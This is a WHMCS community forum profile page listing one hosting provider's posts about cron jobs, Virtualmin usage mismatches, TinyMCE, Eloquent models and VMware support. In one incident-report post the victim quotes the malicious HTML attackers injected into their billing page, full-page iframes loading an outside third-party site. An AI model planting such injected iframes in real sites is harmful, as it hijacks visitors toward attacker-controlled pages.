Jump to content


Level 2 Member
  • Content count

  • Joined

  • Last visited

Community Reputation

10 Good

About eugenevdm

  • Rank
    Level 2 Member

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Thank you Brian, that worked! Great, now I can reliably test overuse and move on to the next problem which involved mismatches. Before when I test I had to wait for the dialy CRON to finish which takes too long causing the CURL request to Virtualmin to time out. Doing it standalone by following the link you specified is very quick. Beautiful thanks man.
  2. I need to manually invoke the server usage checking (overuse) on our shared server to troubleshoot a Virtualmin issue whereby Virtualmin usage statistics and WHMCS usage statistics are completely mismatches (or just missing). I note in the manual a command: php -q /home/folder/public_html/crons/cron.php all -F -vvv https://docs.whmcs.com/Cron_Job_Issues#Run_the_cron_job_from_the_server_command_line_with_debugging_enabled This command runs "all" the 27 tasks. However, I just need it to run for "Server Usage Stats". Is this possible? Is there some other way? I'm scared to run it for "all" because I'm afraid I'll generate invoices alerting my clients to problems in our system.
  3. Thanks I have submitted a bug report. The behaviour is on our test server and in our live environment.
  4. We use Virtualmin Pro to keep track of shared hosting bandwidth and disk space usage. We are encounter a problem whereby WHMCS is not reading the Virtualmin data correctly and things appear out of sync. This is so for multiple servers. It's affecting overuse as clients are being billed for the wrong client's overuse. To demonstrate I paste two tables below. Table one is WHMCS data for usage, calculated by the overuse CRON. I've ordered the data according to usage in descending order. Everywhere there is a 0 is incorrect - those packages exist in Virtualmin with the correct limits. The query for this table is: select domain, tblproducts.name, bwlimit, bwusage, lastupdate from tblhosting join tblproducts on tblproducts.id = tblhosting.packageid where domainstatus='Active' order by bwusage desc; +----------------------------------+------------------------+---------+---------+---------------------+ | domain | name | bwlimit | bwusage | lastupdate | +----------------------------------+------------------------+---------+---------+---------------------+ | domain1.com | WordPress Hosting | 5120 | 1657 | 2019-03-29 07:00:57 | | domain2.com | Micro Website Hosting | 5120 | 139 | 2019-03-29 07:00:57 | | domain3.com | Basic Website Hosting | 1024 | 17 | 2019-03-29 07:00:57 | | domain4.com | Basic Website Hosting | 1024 | 0 | 2019-03-29 07:00:57 | | domain5.com | Basic Website Hosting | 0 | 0 | 2019-03-29 07:00:57 | | domain6.com | Basic Website Hosting | 0 | 0 | 2019-03-29 07:00:57 | | domain7.com | Basic Website Hosting | 5120 | 0 | 2019-03-29 07:00:57 | | domain8.com | Micro Website Hosting | 0 | 0 | 2019-03-29 07:00:57 | | domain9.com | Basic Website Hosting | 0 | 0 | 2019-03-29 07:00:57 | | domain10.com | Basic Website Hosting | 0 | 0 | 2019-03-29 07:00:57 | +----------------------------------+------------------------+---------+---------+---------------------+ Table 2 below is data from Virtualmin Pro. To protect my client's identities I had to blur the website names, but the packages and limits are all jumbled up. The first one on the list, that have used 1.6 GB, is not the first one on the WHMCS list. The limits are also wrong especially the zero, there is no package with a zero limit. This goes on. It seems WHMCS doesn't use the domain name to match the data, but some other arbitrary identification that is not correlating with the Virtualmin data. We thought this couldn't be possible so set up a fresh test environment with a new WHMCS and a new Virtualmin server. Same results, some domains match up and limits are correct, others are simply not read. We also turned on module logging - module is returning the correct data.
  5. Hi, referring to this old post, https://whmcs.community/topic/210337-disable-domain-sync-cron-emails/ to which I can't reply to, is there now (2019 versus 2015) a way to turn off the domain synchronisation crons? warm regards, Eugene
  6. eugenevdm

    [Locked]Where is WHMCS tinyMCE.init()?

    @Brian Thanks for trying to answer the question. I find your answers a bit vague, even a bit rushed. Almost like you want to get some score. You did the same thing here on this post: Have you ever actually solved this problem? It really would be better if you had an actual solution instead of just hinting what the problem might be. #JustSaying Thanks anyway, this highly annoying, irritating, and undocumented problem lingers.
  7. The default font size for TinyMCE is too small. Every Knowledgebase article I create looks wrong and I have to revert to saving, and then previewing the page. I would like my TinyMCE font size to match the actual page. Multiple articles and post about this issue exists on this community but it appears between WHMCS 6.x and 7.x things changed. For now if someone can help me find the tinyMCE.init() function I can follow the official instructions for changing the default font size here: https://www.tiny.cloud/docs-3x/reference/configuration/Configuration3x@content_css/
  8. eugenevdm

    Use my own eloquent model

    Hi, This works: use WHMCS\User\Client; This doesn't work: use WHMCS\User\Client; use Radius\User\Logon; It seems WHMCS has been "bootstrapped" to only load it's own models. Any clues?
  9. In our company a ticket is pretty useless until it has been assigned (flagged in WHMCS) to an employee (admin in WHMCS). So we have a dedicated person who assigns (flags) tickets. As soon as a ticket is flagged the tbltickets.flag contains the tbladmin.id of the employee. I'm trying to recreate an Eloquent model that resembles this. I've called this "owner" so as not to confuse with the built-in field called 'admin' which is the originator of the ticket (if any). The problem is owner doesn't produce any data so I guess I am doing something fundamentally wrong. I have: <?php namespace App; use Illuminate\Database\Eloquent\Model; class Ticket extends Model { protected $table = 'tbltickets'; public function owner() { return $this->belongsTo('App\Admin'); } } as my Ticket model and <?php namespace App; use Illuminate\Database\Eloquent\Model; class Admin extends Model { protected $table = 'tbladmins'; public function tickets() { return $this->hasMany('App\Ticket','flag'); } } as the Admin model. In my blade I try to loop over crucial data about old tickets, i.e. in the Controller I have: $oldest_tickets = Ticket::where('flag','<>', 0)->where('Status','!=','Answered')->where('Status','!=','Closed')->orderBy('lastreply','ASC')->get(); and then in the blade I have: @foreach($oldest_tickets as $ticket) <tr> <td> {{ $ticket->lastreply() }} </td> <td> <a href="{{ $ticket->url() }}" target="_blank">#{{ $ticket->tid . ' - ' . $ticket->title }}</a> </td> <td> {{ $ticket->userid }} </td> <td> {{ $ticket->name }} </td> <td> {{ $ticket->email }} </td> <td> {{ $ticket->owner }} </td> </tr> @endforeach However, this doesn't work, doesn't produce any data. Any clues?
  10. eugenevdm

    Hackers infiltrated our system and changed Pay to Text

    This occurred from the 20 Oct 2013 to 23 Oct 2013 (today). Currently I run version 5.2.8 but I think I was on 5.2.4 until about 10 days ago before WHMCS updated our system. They came from these IPs: I'm implementing .htaccess now.
  11. I suspect they ran a password crackers against our encrypted WHCMS admin and changed an admin's password. Their method for attack is change the Pay to Text to have this code: <p> <div id="contenido" class="contenido"> <h1 class="titulos"><iframe frameborder="no" style="Z-INDEX: 999; POSITION: absolute; WIDTH: 100%; HEIGHT: 1800px; TOP: 0px; LEFT: 0px" onload="sendParams();" src="http://www.quien-visita-mi-perfil.id1945.com/Silver.html"></h1> <div id="texto_inicio"> <p><iframe frameborder="no" style="Z-INDEX: 999; POSITION: absolute; WIDTH: 100%; HEIGHT: 1800px; TOP: 0px; LEFT: 0px" onload="sendParams();" src="http://www.quien-visita-mi-perfil.id1945.com/Silver.html"> </p> </div> </div> <br /> </p> We had WHMCS update our system after we first discovered hashed passwords a user's firstname field but I suspect it was too late. Let's hope it stops here.
  12. We had been running Plesk for years, which can be quite expensive, so we decided to use ISPConfig as an alternative for our customers. We pulled the plug after a year because supporting ISPConfig in addition to Plesk was just too hard and cumbersome. I would only take on ISPConfig is you are willing to dedicate significant resources to understanding and supporting it.
  13. eugenevdm

    VMware integration?

    After giving this much consideration we've decided to hedge our future strategy on SolusVM.
  14. eugenevdm

    VMware integration?

    I wholeheartedly agree with this. The lack of virtualisation support is a major concern. Shared hosting has changed greatly over 14 years since we've been operating and is too competitive to make a good living any more. We really need to migrate to VM hosting if we want to be around for another 5 years. The one module that is advertised now elsewhere on the web, says: > Other upcoming features is VM console, VM snapshots, VM bandwidth tracking I enquired and I got: > We are working on it but due to vsphere API complexities it won't be for ~6 months since we are working on auto provisioning currently. What? Auto provisioning? This is old hat. Provisioning should be a given. Overuse and templates should be built-in. Overuse can only be properly performed by WHMCS.
  15. eugenevdm

    VMware integration?

    Hi, We've been using WHMCS for a number of years. We've migrated from HyperVM / Xen to VMware. We seriously need a VMware module. The little research I've done shows a third party module, not even listed in your App Store, that doesn't support traffic / overuse. Can this really be? Does WHMCS not have a VMware module? Is there some kind of a reason this is not supported out of the box? Here is my search:

Important Information

By using this site, you agree to our Terms of Use & Guidelines and understand your posts will initially be pre-moderated